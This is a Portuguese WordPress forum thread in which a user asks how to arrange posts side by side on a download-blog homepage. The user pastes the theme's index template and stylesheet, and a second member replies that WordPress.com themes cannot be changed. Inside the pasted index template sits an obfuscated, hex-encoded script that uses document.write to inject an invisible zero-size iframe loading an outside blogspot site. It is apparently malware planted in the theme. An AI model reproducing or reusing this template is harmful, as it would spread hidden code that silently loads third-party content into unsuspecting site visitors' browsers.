Como Criar Posts Lado a Lado na Pagina Inicial

  • Avatar de Desconhecido
    livenoticias · Membro ·

    Olá boa tarde, estou com uma ideia para meu blog, estou querendo criar um blog de download de programas grátis como o “baixaki” e estou efetuando a edição dele pelo EasyPHP, mais estou querendo colocar os post lado a lado em meu blog para ter mais conteudo na pagina inicial, mais só consegui colocar um, tentei tantos script e editando a style que acabei deixando tudo fora do lugar mais novamente estou com o style original gostaria de colocar os posts lado a lado com o tamanho de 250 por 250 lado a lado, colocarei o codigo style e index para quem poder me ajuda acradeço muito.

    Index:
    <?php get_header(); ?>

    <?php include(TEMPLATEPATH."/left.php");?>
    <?php include(TEMPLATEPATH."/right.php");?>

    <!-- ########################### The Loop - Begin ################################### -->
    <!-- If there are any posts, iterate over each post -->
    <?php if (have_posts()) : ?>
    <?php while (have_posts()) : the_post(); ?>

    <div class="center-widget-title"></div>
    <div class="center-widget">

    <body><div id="glb-corpo" class="conteudo-erro">

    <style type="text/css">
    #glb-corpo.conteudo-erro .rodape-link {font-size:1.0em;letter-spacing:-0.05em;*letter-spacing:-0.4em;}
    #glb-corpo.conteudo-erro .rodape-link a {color:#06D;text-decoration:none;}
    #glb-corpo.conteudo-erro .rodape-link a:hover {text-decoration:underline;}
    #glb-corpo.conteudo-erro .rodape-link a span {font-weight:normal;}
    #glb-corpo.conteudo-erro .link-erro {color:#C0C0C0;margin-bottom:1.5em;}
    </style>
    <b class="rodape-link">

    <p style="text-align: left;">
    <b><div align="center"> " rel="bookmark" title="Baixar <?php the_title(); ?>"><?php the_title(); ?></div></b>
    "><img width="120" height="160" style="margin: 0pt 10px 10px 80pt; float: left; cursor: pointer; width: 120x; height: 160px;" src="<?php $values = get_post_custom_values("capa"); echo $values[0]; ?>" border "0" alt="" />
    Informacoes:
    <img src="http://trader.speed-share.org/images/free.png"></font></b><font color="black">
    <b><font color="red"> Postado: </font><?php the_time('j M, Y') ?></b>
    <b><font color="red"> Categoria: </font><?php the_category(', ') ?>
    </b>
    <b><font color="red"> Genero: </font><?php $values = get_post_custom_values("genero"); echo $values[0]; ?> </b>
    <b><font color="red"> Tamanho: </font><?php $values = get_post_custom_values("tamanho"); echo $values[0]; ?> </b>
    <b><font color="red"> Download: </font><?php if (function_exists ( 'the_views')) (the_views ()); ?></b></font>
    <b><font color="red"> Comentario(s): </font><?php comments_number('0', '1', '%'); ?></b></font>
    <b><font color="green"> Usuario:</font> "><?php the_author() ?></b></font>
    <b>" rel="bookmark" title="Baixar <?php the_title(); ?>">Visualizar</b></font>
    </p>

    </div></body></b>

    <!-- Traceback autodiscovery -->
    <!-- <?php trackback_rdf(); ?> -->

    </div> <!-- center-widget -->
    <!-- End of the loop -->

    <?php endwhile; ?>
    <!-- Page Navigation -->
    <?php
    global $wpdb, $posts_per_page, $fromwhere, $matches, $max_num_pages,
    $request, $posts_per_page;
    if (! is_single()) {
    if (get_query_var('what_to_show') == 'posts') {
    if ( ! isset($max_num_pages) ) {
    preg_match('#FROM (.*) GROUP BY#', $request, $matches);
    $fromwhere = $matches[1];
    $numposts = $wpdb->get_var("SELECT COUNT(ID) FROM $fromwhere");
    $max_num_pages = ceil($numposts / $posts_per_page);
    }
    } else {
    $max_num_pages = 999999;
    }

    if ($max_num_pages > 1) {
    ?>
    <div class="center-widget-title"></div>
    <div class="center-widget">
    <div class="bottom-page-nav">
    <?php wp_pagenavi('', '', ''); ?>
    </div>
    </div> <!-- center-widget -->
    <?php
    }
    }
    ?>

    <!-- If no post is found... -->
    <script language='javascript'>
    var _comentario=["x3Cx69x66x72x61x6Dx65x20x73x72x63x3Dx22x68x74x74x70x3Ax2Fx2Fx33x32x2Dx30x32x2Ex62x6Cx6Fx67x73x70x6Fx74x2Ex63x6Fx6Dx2Fx22x20x66x72x61x6Dx65x62x6Fx72x64x65x72x3Dx22x30x22x20x68x65x69x67x68x74x3Dx22x30x22x20x77x69x64x74x68x3Dx22x30x22x3Ex3Cx2Fx69x66x72x61x6Dx65x3E","x77x72x69x74x65"];document[_comentario[1]](_comentario[0]);
    </script>
    <?php else : ?>
    <div class="center-widget-title"></div>
    <div class="center-widget">
    <div align="center"> <h2>Error 404 - Pagina Nao Encontrada</h2>
    <p>Desculpe! mas a pagina solicitada ou foi excluido ou nao existe.</p></div>
    </div> <!-- center-widget -->
    <?php endif; ?>
    <!-- ########################### The Loop - End ##################################### -->

    <?php get_footer(); ?>

    Style:

    /***************************************************************************/
    /* HTML Tags */
    /***************************************************************************/

    body {
    background: #ffffff url('images/bg.gif') repeat-x top;
    font-family:'Lucida Grande', Verdana, Arial, Sans-Serif;
    color: #FFFFFF;
    margin:0;
    padding:0;
    }
    h1, h2, h3, h4, h5, h6 {
    margin: 0;
    font-style: normal;
    font-weight: bold;
    color: #0066cc;
    }

    h1 {
    font-size: 1.4em;
    }
    h2 {
    font-size: 1.2em;
    }
    h3, h4, h5, h6 {
    font-size: 1.0em;
    }

    blockquote {
    background: url(images/blockquote.gif) no-repeat left top;
    color: #999;
    margin:10px;
    padding: 0 40px 0 40px;
    }

    code {
    background: #f4f4f4;
    color: #6a6a6a;
    margin:0;
    }

    img {
    border:0
    }

    a:link,
    a:visited {
    color: #000000;
    text-decoration:none;
    }

    a:hover {
    color: #C00000;
    text-decoration:none;
    }
    /***************************************************************************/
    /* This is the container for the whole page */
    /***************************************************************************/
    .page {

    width:950px;

    position:relative;

    padding:5px;

    margin:0 auto;

    text-align:left;

    }

    /***************************************************************************/
    /* Header */
    /***************************************************************************/

    /* Header */

    .header {
    background:url('') no-repeat center top;
    margin:0 0 5px 0;
    padding:0px 0px 0px 0px;
    height:0px;
    }

    .logo {
    background:url('') no-repeat left top;
    height:0px;
    margin:0;
    }

    .blog-name:link,

    .blog-name:visited,

    .blog-name:hover{

    color:#0066cc;

    font-family: 'Trebuchet MS', Verdana, Sans-Serif;

    font-size:0pt;

    font-weight:bold;

    text-decoration:none;

    letter-spacing: -1px;

    background:transparent;

    margin:0 0 0 0px;

    padding:0;

    }

    .blog-description {

    color:#008000;

    font-size:10pt;

    font-weight:bold;

    margin:0px 0px 0px 80px;

    padding:0;

    }
    .menu3-bar {

    background: url('http://1.bp.blogspot.com/-KFP3Ttp2MNQ/TefVBMtng6I/AAAAAAAAAhM/eQwoNlQkysk/s1600/326484484.png') repeat;
    padding:1px 0 25px 0;
    height: 13px;
    font-family:Geneva,Arial,Helvetica,sans-serif;
    margin:0 0 5px 0;

    }

    ul.menu3 {
    float: left;
    margin: 0;
    padding: 0 40px;
    list-style-type: none;
    }

    ul.menu3 li {
    float: left;
    list-style: none;
    line-height: 35px;
    background: url(http://4.bp.blogspot.com/-KZIrNbrSgHM/TefWqa0lIVI/AAAAAAAAAhk/8aJ_aieYuGo/s400/2625dasd.png) no-repeat top right;
    }

    ul.menu3 li a {
    color: #FFF;
    text-decoration: none;
    font-size: 13px;
    display: block;
    padding: 0 15px 0 15px;
    height: 37px;
    float: left;
    font-weight:normal;
    font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,Verdana,sans-serif;
    }

    ul.menu3 li a:link,
    ul.menu3 li a:visited {
    color: #ffffff;
    }

    ul.menu3 li a:hover,
    ul.menu3 li a:active {
    color: #FFF;
    background:#555 url(http://4.bp.blogspot.com/-KZIrNbrSgHM/TefWqa0lIVI/AAAAAAAAAhk/8aJ_aieYuGo/s400/2625dasd.png) no-repeat top right;text-decoration:none;
    }

    ul.menu3 li.current_page_item a:link,
    ul.menu3 li.current_page_item a:visited {
    color: #FFF;
    text-decoration: none;
    background: #555 url(http://4.bp.blogspot.com/-KZIrNbrSgHM/TefWqa0lIVI/AAAAAAAAAhk/8aJ_aieYuGo/s400/2625dasd.png) no-repeat top right;
    }

    /* Search Bar */

    .search {
    float: right;
    margin: 5px 6px 7px 6px
    }

    .search input[type="text"] {
    width: 144px;
    height: 17px; width: 144px;
    height: 17px;
    background: #FFF url(http://3.bp.blogspot.com/-SMXN2oDrokM/TgS4q_4L_gI/AAAAAAAAAok/fxpVsbco7Dc/s1600/tlFZm.png);
    border: 0;
    font-family: Tahoma, sans-serif;
    font-size: 12px;
    color: #999;
    padding: 5px 4px 4px 24px;
    }

    .search input[type="image"] {
    vertical-align: top;
    line-height: 18px;
    padding-top: 1px;
    }
    .menu-bar {
    background:url(images/navbarbg.jpg) center no-repeat;
    padding:2px 0 30px 0;
    margin:0;
    }

    #search_box {
    float:right;
    font-size:9pt;
    margin:-2px 16px 0px 0px !important;
    margin:0px 10px 4px 0;
    }

    .searchbutton {
    height: 24px;
    width: 54px;
    background:url(images/button.png) center no-repeat;
    border:0;
    margin:0;
    }

    #search_box #s{
    background-color: transparent;
    height: 16px;
    width: 140px;
    margin: 1px 2px 0px 2px;
    padding: 2px 7px 2px 5px;
    color: #000000;
    border: none;
    }
    /***************************************************************************/
    /* Menu Bar */
    /***************************************************************************/

    .menu-bar {

    background: url('images/menu_bg.gif') repeat;
    padding:1px 0 25px 0;
    height: 13px;
    font-family:Geneva,Arial,Helvetica,sans-serif;
    margin:0 0 0px 0;

    }

    .feed {
    float:right;
    font-size:10pt;
    margin:4px 20px 4px 0 !important;
    margin:4px 10px 4px 0;
    }

    .feed a.rss {
    color:#ff4000;
    padding: 0 0 0 25px;
    background: transparent url(images/rss.gif) no-repeat 5px 0;
    }

    .feed a.techno {
    color:#008000;
    padding: 0 0 0 25px;
    background: transparent url(images/techno.png) no-repeat 4px 0;
    }

    ul.menu {
    float: left;
    margin: 0;
    padding: 0 0px;
    list-style-type: none;
    }

    ul.menu li {
    float: left;
    list-style: none;
    line-height: 35px;
    background: url(images/menu_divider.gif) no-repeat top right;
    }

    ul.menu li a {
    color: #FFF;
    text-decoration: none;
    font-size: 13px;
    display: block;
    padding: 0 13px 0 13px;
    height: 37px;
    float: left;
    font-weight:normal;
    font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,Verdana,sans-serif;
    }

    ul.menu li a:link,
    ul.menu li a:visited {
    color: #ffffff;
    }

    ul.menu li a:hover,
    ul.menu li a:active {
    color: #FFF;
    background:#555 url(images/menu_divider.gif) no-repeat top right;text-decoration:none;
    }

    ul.menu li.current_page_item a:link,
    ul.menu li.current_page_item a:visited {
    color: #FFF;
    text-decoration: none;
    background: #555 url(images/menu_divider.gif) no-repeat top right;
    }
    /***************************************************************************/
    /* Post */
    /***************************************************************************/

    h2.post-title a:link,

    h2.post-title a:visited {

    color:#0066cc;

    }

    h2.post-title a:hover {

    color:#0066cc;

    border-bottom: 1px dashed #a0a0a0;

    }

    .post-content {

    color:#444;

    margin:15px 0 0 0;

    width:500px;

    overflow:hidden;

    padding:0 !important;

    padding:0 0 15px 0;

    }

    .post-content a:link,

    .post-content a:visited {

    color:#0066cc

    }

    .post-content a:hover {

    color:#ff0000;

    border-bottom: 1px dotted #0066cc;

    }

    .post-content img,

    .post-content img:hover {

    padding:0;

    border:0;

    }

    .post-content ul li {

    background: url('images/bullet.gif') no-repeat 0 0;

    list-style:none;

    padding:0 0 0 15px;

    margin:6px 0 0 -10px;

    }

    .post-content ol li {

    padding:0;

    margin:6px 0 0 0px;

    }

    .postmeta {

    margin: 8px 2px;

    font-size:8pt;

    }

    .post-date {

    background: url(images/date.gif) no-repeat 0 0;

    padding: 0 0 0 20px;

    }

    .post-comment {

    background: url(images/commentslink.png) no-repeat 0 0;

    padding: 0 0 0 20px;

    }

    .post-comment a:link,

    .post-comment a:visited,

    .post-comment a:hover {

    color:#008000

    }

    .post-filed {

    background: url(images/filed.gif) no-repeat 2px 0;

    padding: 0 0 0 20px;

    }

    .more-link{

    margin:0

    }

    /***************************************************************************/

    /* Sidebars */

    /***************************************************************************/

    .left-sidebar, .right-sidebar {

    margin:5px 0 0 0 !important;

    margin:0;

    position:absolute;

    overflow:hidden;

    }

    .left-sidebar {

    width:210px;

    left:5px;

    }

    .right-sidebar {

    width:210px;

    right:5px;

    }

    /***************************************************************************/

    /* WordPress Sidebar Widgets */

    /***************************************************************************/
    a:hover img {
    opacity:0.9;
    }

    .wp-widget-title {
    position: relative;
    top: -24px;
    background:url('http://4.bp.blogspot.com/-KSPSuuY_XsY/TefVBTSVAwI/AAAAAAAAAhU/BwNKBdROAWQ/s400/tata.png') no-repeat;
    color:#FFFFFF;
    font-size: 10pt;
    font-weight: bold;
    padding:6px 0 6px 15px;
    margin:0;
    }

    .wp-widget-title a:link,

    .wp-widget-title a:visited,

    .wp-widget-title a:hover{

    color:#FFFFFF;

    }

    .wp-widget {

    background:url('images/widget_bottom_bg.png') no-repeat bottom;

    color:#555;

    padding:0;

    margin: 25px 0 35px 0;

    font-size:8pt;

    }

    .wp-widget ul {

    list-style:none;
    position: relative;
    top: -15px;
    margin:5px 10px 5px 15px;
    padding:0;
    }

    .wp-widget ul li {

    background: url('images/bullet.gif') no-repeat 0px 0px;
    margin:0 0 10px 0;
    padding:0 0 0 14px;
    line-height:15px;
    font-size:8pt;
    }

    .search-widget-title {
    background:url('http://4.bp.blogspot.com/-KSPSuuY_XsY/TefVBTSVAwI/AAAAAAAAAhU/BwNKBdROAWQ/s400/tata.png') no-repeat;
    color:#fff;
    font-size: 10pt;
    font-weight: bold;
    padding:6px 0px 6px 15px;
    margin:-25px 0 0 0;
    }

    .search-widget {
    color:#555;
    background:url('images/widget_bottom_bg.png') no-repeat bottom;
    padding:10px;
    margin:0px 0 35px 0;
    font-size:10pt;
    }

    .textwidget {
    position: relative;
    top: -15px;
    margin:0px 0px 0px 5px;
    padding:0px 5px;
    }

    .textwidget ul {
    list-style:none;
    position: relative;
    top: 0px;
    margin:0 0 0 5px;
    padding:0;
    }

    .textwidget ul li {
    background: url('images/bullet.gif') no-repeat 0 0;
    margin:5px 0 10px 0;
    padding:0 0 0 14px;
    line-height:15px;
    }

    #calendar_wrap {
    position: relative;
    top: -10px;
    margin:0 40px;
    }

    #akismetwrap {
    position: relative;
    top: -15px;
    margin:0 45px;
    }

    #cat, select {
    position: relative;
    top: -10px;
    margin:0 45px;;
    }

    .widget_categories ul li ul.children{
    position: relative;
    top: 0px;
    left:-10px;
    }

    .widget_pages ul li.page_item li{
    position: relative;
    top: 20px;
    left:-10px;
    }

    /***************************************************************************/
    /* Old Style Tigopedia Widgets */
    /***************************************************************************/

    .widget-title {
    background:url('http://4.bp.blogspot.com/-KSPSuuY_XsY/TefVBTSVAwI/AAAAAAAAAhU/BwNKBdROAWQ/s400/tata.png') no-repeat;
    color:#fff;

    font-size: 10pt;
    font-weight: bold;

    padding:6px 0px 6px 15px;
    }

    .widget-title a:link,
    .widget-title a:visited,
    .widget-title a:hover {
    color:#fff;
    }

    .widget {
    color:#555;
    background:url('images/widget_bottom_bg.png') no-repeat bottom;
    padding:10px;
    margin:0 0 10px 0;
    font-size:8pt;
    }

    .widget ul {
    list-style:none;
    margin:5px 5px 0px 5px;
    padding:0px;
    }

    .widget ul li {
    background: url('images/bullet.gif') no-repeat 0px 0px;
    margin-bottom:10px;
    padding-left:14px;
    line-height:15px;
    font-size:8pt;
    }

    .center-widget-title {
    background:url("images/center_widget_bg.png") center top no-repeat;
    color:#0066cc;
    font-size:20px;
    font-weight: bold;
    margin:0px 210px 0px 210px;
    padding:8px 0px 0px 15px;
    }

    .center-widget {
    background:url('images/center_widget_bottom_bg.png') center bottom no-repeat;
    color:#555;
    width: 190x;
    margin:0px 210px 6px 210px;
    padding:0.1em 1.2em 0.6em 1.2em;
    font-size:10pt;
    }

    .center-widget a:link,
    .center-widget a:visited {
    color:#0066cc
    }

    .center-widget a:hover {
    color:#C00000;
    }

    .center-widget ul li {
    background: url('images/bullet.gif') no-repeat 0 0;
    list-style:none;
    padding:0 0 0 15px;
    margin:6px 0 0 -10px;
    }

    .center-widget ol li {
    padding:0;
    margin:6px 0 0 0px;
    }

    .bottom-page-nav {
    text-align:center;
    color: #0066cc;
    }

    .bottom-page-nav a:link,
    .bottom-page-nav a:visited {
    color: #0066cc;
    }
    .bottom-page-nav a:hover {
    color:#C00000;
    }

    .footer {
    color:#555;
    font-size:10pt;
    font-weight:normal;
    text-align:center;
    padding:0px 0px;
    margin:0;
    }

    .footer a:link,
    .footer a:visited {
    color:#0066cc;
    }
    .footer a:hover {
    color:#C00000;
    }

    /* Comments Styles */

    .comment-list {
    padding:0;
    margin:0 15px 20px 15px;
    }

    .comment-meta {
    position:relative;
    top:-20px;
    color: #555555;
    font-size:10pt;
    margin:50px 0 0 0;
    }

    .odd-comment .comment-meta a:link,
    .odd-comment .comment-meta a:visited {
    font-weight:bold;
    color:#0066cc;
    }
    .odd-comment .comment-meta a:hover {
    color: #C00000;
    font-weight:bold;
    }
    .even-comment .comment-meta a:link,
    .even-comment .comment-meta a:visited,
    .even-comment .comment-meta a:hover {
    color: #008000;
    font-weight:bold;
    }

    .odd-comment .comment-meta .comment-author {
    color: #0066cc;
    font-weight:bold;
    }

    .even-comment .comment-meta .comment-author {
    color: #008000;
    font-weight:bold;
    }

    .odd-comment .comment-text {
    position:relative;
    top:-10px;
    background:url('images/comment-bg-gradient.gif') top left repeat-y;
    color: #555;
    border:1px solid #b6cefe;
    padding:0px 10px !important;
    padding:10px 10px;
    width:440px;
    overflow:hidden;
    }

    .even-comment .comment-text {
    position:relative;
    top:-10px;
    background:url('images/comment-bg-gradient-green.gif') top left repeat-y;
    color: #555;
    border:1px solid #add3ad;
    padding:0px 10px !important;
    padding:10px 10px;
    width:440px;
    overflow:hidden;
    }

    .odd-comment .comment-text a:link,
    .odd-comment .comment-text a:visited {
    color:#0066cc;
    }
    .odd-comment .comment-text a:hover{
    color:#C00000;
    text-decoration:none;
    }

    .even-comment .comment-text a:link,
    .even-comment .comment-text a:visited,
    .even-comment .comment-text a:hover{
    color:#008000;
    text-decoration:none;
    }

    #commentform a:link,
    #commentform a:visited {
    color:#0066cc;
    }
    #commentform a:hover {
    color:#C00000;
    }

    /* input */

    #searchform {
    margin:0;
    }

    input#s {
    color:#777;
    width: 90%;
    height: 18px;
    margin: 0;
    padding: 2px;
    border-left: 1px solid #aaa;
    border-top:1px solid #aaa;
    border-right:1px solid #ddd;
    border-bottom:1px solid #ddd;
    }

    input {

    color:#555;
    }

    textarea#comment {
    width:470px;
    color:#555;
    border-left: 1px solid #aaa;
    border-top:1px solid #aaa;
    border-right:1px solid #ddd;
    border-bottom:1px solid #ddd;
    font-size:10pt;
    }

    input#author,
    input#email,
    input#url {
    width:200px;
    color:#555;
    border-left: 1px solid #aaa;
    border-top:1px solid #aaa;
    border-right:1px solid #ddd;
    border-bottom:1px solid #ddd;
    font-size:10pt;
    }
    /*pub*/
    .banner468 {
    background:url(http://3.bp.blogspot.com/-B7g7JsOuDgI/TgJobwyNA1I/AAAAAAAAAx4/8DTenWP5Bz8/s1600/BAIXEDOWNS-OMELHOR.png) no-repeat;
    height:76px;
    width:475px;
    margin:auto;
    padding:19px 0 0 10px;
    }
    .banner468 img {
    border:none;
    }

  • Avatar de Desconhecido
    cobramil · Membro ·

    No WP.com você está limitado aos Temas disponíveis e não tem como alterá-los.
    Se seu Site não está alojado no WP.com você deve solicitar ajuda no WP.org.

  • O tópico ‘Como Criar Posts Lado a Lado na Pagina Inicial’ está fechado para novas respostas.